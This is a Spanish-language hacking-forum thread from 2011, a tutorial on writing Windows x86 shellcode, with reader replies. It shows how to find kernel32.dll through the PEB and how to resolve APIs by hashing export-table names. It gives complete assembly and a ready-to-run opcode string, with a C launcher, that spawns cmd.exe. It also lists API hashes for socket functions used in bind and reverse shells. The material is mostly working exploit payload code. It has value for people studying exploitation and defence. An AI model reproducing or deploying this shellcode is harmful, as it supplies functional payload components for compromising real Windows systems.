Título: [Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales" Publicado por: lShadowl en 26 Febrero 2011, 14:16 pm Creando una Shellcode Direccion de kernel32 y calls especiales Articulo previo: Creando una Shellcode (http://foro.elhacker.net/bugs_y_exploits/taller_creando_una_shellcode_x86_win-t320583.0.html) por lShadowl Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones. Teoria Nota: Info sobre las estructuras: http://ntinternals.net/ (http://ntinternals.net/) ; http://msdn.microsoft.com/ (http://msdn.microsoft.com/) Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block). PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente: Código: typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved4[104]; PVOID Reserved5[52]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; }PEB, *PPEB; La direccion de esta estructura se en fs:[0x30], esto quiere decir que con: Código: mov ebx,fs:[0x30] podemos tener en 'eax' un puntero a PEB. Pero para que nos sirve tener acceso a PEB? En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA: Código: PPEB_LDR_DATA Ldr; Ahora, veamos la estructura de PEB_LDR_DATA: Código: typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; Bien, lo que nos interesa aqui es la list entry: Código: LIST_ENTRY InLoadOrderModuleList; Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente: Código: typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos. Encontrando la direccion de kernel32.dll Para filtrar los datos del PEB partimos en tener un puntero a PEB: Código: mov ebx, fs:[0x30] Ahora necesitamos apuntar a InLoadOrderModuleList de LDR Código: mov ebx, [ebx+0x0C] ;puntero a LDR mov ebx, [ebx+0x1C] ;puntero a InLoadOrderModuleList Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32 Código: mov ebx, [ebx] mov ebx, [ebx + 0x08] Entonces tendremos como codigo resultante: Código: xor ebx, ebx ;ebx a 0 mov ebx, fs:[0x30] ;apuntamos a PEB mov ebx, [ebx+0x0C] ;LDR a edx mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx mov ebx, [ebx] mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx Comparemos como funciona vs GetModuleHandleA(): Código: #include <windows.h> #include <stdio.h> int main() { DWORD kernelAdd; printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll")); __asm{ xor ebx, ebx mov ebx, fs:[0x30] mov ebx, [ebx+0x0C] mov ebx, [ebx+0x1C] mov ebx, [ebx] mov ebx, [ebx+0x08] mov kernelAdd, ebx } printf("\ncon PEB: %8X", kernelAdd); return 0; } (http://img527.imageshack.us/img527/149/p1t2.jpg) Como podemos ver, las direcciones resultantes (en mi caso: "7C800000" //win XP Pro sp3) son identicas. El metodo funciona. Mas teoria Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta sección es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows. Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >> (http://img156.imageshack.us/img156/6000/p2t2.jpg) De estos campos nos interesaremos en la parte de los directorios de datos. >> (http://img136.imageshack.us/img136/6048/p3t2.jpg) EAT - Export Address Table La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un ?ndice basado en cero de 5.) Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no est?adentro de la sección de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una direcci?n real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un s?mbolo en otro DLL. (http://img136.imageshack.us/img136/2558/p4t2.jpg) Es necesario saber las estructuras con que se trabaja, para mas info: MSDN. Llamando a las APIs El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos :D. Analicemos como hacer las llamadas siguiendo los pasos anteriores: Código: api_call: pushad ;registros a pila mov ebp, esp xor edx, edx mov edx, [fs:edx+48] ;puntero a PEB mov edx, [edx+12] ;puntero a LDR mov edx, [edx+20] ;puntero al primer modulo de la lista de InMemoryOrder next_mod: mov esi, [edx+40] ;puntero al nombre de los modulos movzx ecx, word [edx+38] ;logitud a verficar xor edi, edi loop_modname: xor eax, eax lodsb cmp al, 'a' ;el nombre del modulo esta en minuscula jl not_lowercase ;lo pasamos sub al, 0x20 ;a mayuscula not_lowercase: ror edi, 13 ;rotamos hacia la derecha add edi, eax ;el valor del hash loop loop_modname ;hasta ecx=0 push edx ;Posicion push edi ;y hash del modulo actual a pila mov edx, [edx+16] ;direccion base del modulo a edx mov eax, [edx+60] ;cabecera PE a eax add eax, edx mov eax, [eax+120] ;EAT a eax test eax, eax ;hay EAT? jz get_next_mod1 ;no, siguiente modulo add eax, edx push eax ;EAT del modulo a pila mov ecx, [eax+24] ;numero de funciones del modulo a ecx mov ebx, [eax+32] ;RVA de las funciones a ebx add ebx, edx get_next_func: jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo dec ecx ;numero de la funcion - 1 mov esi, [ebx+ecx*4] ;RVA de la funcion a esi add esi, edx xor edi, edi loop_funcname: xor eax, eax lodsb ;byte por byte del nombre de la funcion en ASCII ror edi, 13 ;buscamos add edi, eax ;el caracter cmp al, ah ;nulo que indica el final de la cadena jne loop_funcname ;hasta tener el hash completo de la funcion add edi, [ebp-8] ;edi=hash del modulo+hash de la funcion cmp edi, [ebp+36] ;es la que buscamos? jnz get_next_func ;no, sigamos con la siguiente funcion pop eax ;EAT del modulo a eax mov ebx, [eax+36] ;conseguimos RVA add ebx, edx ;le a?adimos la direccion base del modulo mov cx, [ebx+2*ecx] mov ebx, [eax+28] ;RVA de la funciones a ebx add ebx, edx ;le a?adimos la direccion base del modulo mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax add eax, edx ;le a?adimos la direccion base del modulo y listo, en eax tenemos la direccion virtual de la funcion finish: mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor anterior pop ebx ;arreglamos la pila pop ebx popad pop ecx pop edx push ecx jmp eax ;llamamos a la funcion get_next_mod: pop eax ;EAT del siguiente modulo a eax get_next_mod1: pop edi ;hash del siguiente modulo a eax pop edx ;posicion donde quedamos en la lista de modulos a edx mov edx, [edx] ;puntero al siguiente modulo jmp short next_mod ;Harmony Security Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos: Código: [BITS 32] cld ;bandera de direccion a cero call start ;puntero de api_call a la pila api_call: ;(...) ;codigo de api_call ;(...) start: pop ebp ;puntero de api_call a ebp jmp command ;comando a ejecutar va a pila exec: push 0x876F8B31 ;hash para WinExec a pila call ebp ;llamamos a api_call push 0x56A2B5F0 ;hash para ExitProcess a pila call ebp ;llamamos a api_call command: call exec db "cmd.exe ", 0 Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C: Código: char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00"; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); } Funciona? (http://img522.imageshack.us/img522/8711/p5t2.jpg) Si funciono. Algunos hashes muy usados: Código: 0x006B8029, "ws2_32.dll!WSAStartup" 0xE0DF0FEA, "ws2_32.dll!WSASocketA" 0x6737DBC2, "ws2_32.dll!bind" 0xFF38E9B7, "ws2_32.dll!listen" 0xE13BEC74, "ws2_32.dll!accept" 0x614D6E75, "ws2_32.dll!closesocket" 0x6174A599, "ws2_32.dll!connect" 0x5FC8D902, "ws2_32.dll!recv" 0x5F38EBC2, "ws2_32.dll!send" 0x5BAE572D, "kernel32.dll!WriteFile" 0x4FDAF6DA, "kernel32.dll!CreateFileA" 0x13DD2ED7, "kernel32.dll!DeleteFileA" 0xE449F330, "kernel32.dll!GetTempPathA" 0x528796C6, "kernel32.dll!CloseHandle" 0x863FCC79, "kernel32.dll!CreateProcessA" 0xE553A458, "kernel32.dll!VirtualAlloc" 0x300F2F0B, "kernel32.dll!VirtualFree" 0x0726774C, "kernel32.dll!LoadLibraryA" 0x7802F749, "kernel32.dll!GetProcAddress" 0x601D8708, "kernel32.dll!WaitForSingleObject" 0x876F8B31, "kernel32.dll!WinExec" 0x9DBD95A6, "kernel32.dll!GetVersion" 0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter" 0x56A2B5F0, "kernel32.dll!ExitProcess" 0x0A2A1DE0, "kernel32.dll!ExitThread" 0x6F721347, "ntdll.dll!RtlExitUserThread" 0x23E38427, "advapi32.dll!RevertToSelf" Saludos! Título: Re: [Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales" Publicado por: 3mp3z@ndo en 27 Febrero 2011, 00:48 am Muy buenos los tutos lShadowl, pero me gustaria saber como puedo obtener los hashes de las apis, he encontrado listas con muchisimos hashes pero no tengo ni idea de como obtener esos hashes por mi mismo
Saludos Título: Re: [Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales" Publicado por: jackgris en 27 Febrero 2011, 02:02 am lShadowl la verdad que me parece muy bueno tu taller, creo que habria que crear un post con enlase a todos los tutos que has hecho y donde se vallan agregando los nuevos y a ese ponerle una chicheta ;-) ;-) ;-) ;-)
Título: Re: [Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales" Publicado por: Karcrack en 27 Febrero 2011, 22:10 pm Muy interesante para quienes comienzan ;)
Yo acortaria el codigo para extraer la direccion base de K32 y lo dejaria asi: Código
Aunque ese metodo no funcionaria en W$7 ya que "KernelBase.dll" se carga antes que "Kernel32.dll"... Esta es una version funcional en todos los W$>=2000 hecha por mi para el StealthRat :): Código
Título: Re: [Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales" Publicado por: Иōҳ en 1 Marzo 2011, 20:41 pm Una mirada rapida...
Citar mov ebx, [ebx+0x0C] ;puntero a LDR mov ebx, [ebx+0x1C] ;puntero a InLoadOrderModuleList En realidad no estas moviendo el puntero a InLoadOrderModuleList si no a InInitializationOrderModuleList si haces cuenta, cuantos bytes estas sumando, veraz que no, dejame decirte queno todo lo que la msdn dice debes creer xD. InInitializationOrderModuleList es como InLoadOrderModuleList pero en orden de inicialización. http://undocumented.ntinternals.net/UserMode/Structures/PEB_LDR_DATA.html Salu2! Título: Re: [Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales" Publicado por: xassiz~ en 1 Marzo 2011, 22:39 pm Muy buenos los tutos lShadowl, pero me gustaria saber como puedo obtener los hashes de las apis, he encontrado listas con muchisimos hashes pero no tengo ni idea de como obtener esos hashes por mi mismo Quizás te sirva esto (http://foro.elhacker.net/asm/masm_busca_offsets-t318723.0.html;msg1579674#msg1579674).Saludos Saludos! Título: Re: [Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales" Publicado por: 3mp3z@ndo en 2 Marzo 2011, 13:08 pm Quizás te sirva esto (http://foro.elhacker.net/asm/masm_busca_offsets-t318723.0.html;msg1579674#msg1579674). Saludos! Gracias ~xassiz, pero lo que me indicas si no me equivoco lo que hace es darme el offset (dirección) de la función con LoadLibrary y GetProcAddress, yo me refiero al mecanismo de hashear los nombres de las funciones, no lo tengo claro porque he visto distintas formas de hacerlo que resultan en distintos hashes para la misma funcion, pero bueno lo que yo buscaba que era como obtenia los hashes el autor del codigo (Stephen Fewer de Harmony Security) ya lo encontré, que es con un script en python que trae el Metasploit, por si a alguien más le interesa lo explica aquí: http://seclists.org/metasploit/2010/q2/378 (http://seclists.org/metasploit/2010/q2/378) es necesario el modulo pefile para python: http://code.google.com/p/pefile/wiki/UsageExamples (http://code.google.com/p/pefile/wiki/UsageExamples) y modificar el codigo para darle la ruta donde se ha instalado el modulo, y ya te da todos los hashes de las funciones que le pidas Saludos |